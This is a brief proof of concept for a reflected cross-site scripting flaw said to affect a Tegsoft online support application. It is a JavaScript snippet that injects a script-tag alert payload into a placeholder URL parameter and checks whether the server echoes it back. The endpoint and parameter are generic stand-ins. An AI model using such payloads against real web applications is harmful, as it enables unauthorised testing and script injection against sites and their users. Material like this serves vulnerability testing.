CVE-2025-14320 Tegsoft在线支持应用反射型XSS漏洞

// Proof of Concept for CVE-2025-14320 // Description: Testing for Reflected XSS in vulnerable parameter // Step 1: Construct the malicious payload var payload = "<script>alert('CVE-2025-14320 XSS');</script>"; // Step 2: Encode the payload for the URL (if necessary, though raw injection is the vulnerability) // In a real reflected XSS scenario, the payload is often injected directly into a parameter. var targetUrl = "http://target-tegsoft-app/vulnerable_endpoint?parameter=" + payload; // Step 3: Simulate a victim request (using fetch as an example) // If the server reflects the payload without sanitization, the script executes. console.log("[+] Sending request to: " + targetUrl); fetch(targetUrl) .then(response => response.text()) .then(html => { if (html.includes(payload)) { console.log("[+] Vulnerability Confirmed: Payload reflected in response."); console.log("[+] In a browser, the alert box would have executed."); } else { console.log("[-] Payload not reflected or sanitized."); } }) .catch(error => console.error("Error:", error));